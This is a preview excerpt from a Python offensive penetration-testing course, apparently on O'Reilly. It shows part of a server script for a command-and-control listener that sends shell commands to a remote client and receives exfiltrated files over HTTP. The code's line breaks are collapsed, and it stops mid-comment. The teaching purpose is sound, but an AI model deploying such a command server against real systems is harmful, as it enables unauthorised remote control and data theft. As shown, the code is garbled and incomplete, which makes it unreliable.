Server side

Now, on the server side, we've imported a new library called cgi. This one is used to handle the received file and store it locally. The following is the server side script:

# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2# HTTP Data Exfiltration Serverimport BaseHTTPServerimport os, cgiHOST_NAME = '10.0.2.15' PORT_NUMBER = 80 class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):    def do_GET(s):            command = raw_input("Shell> ")        s.send_response(200)        s.send_header("Content-type", "text/html")        s.end_headers()        s.wfile.write(command)                def do_POST(s): # Here we will use the points which we mentioned in the Client side, as a start if the "/store" ...

Get Python for Offensive PenTest now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.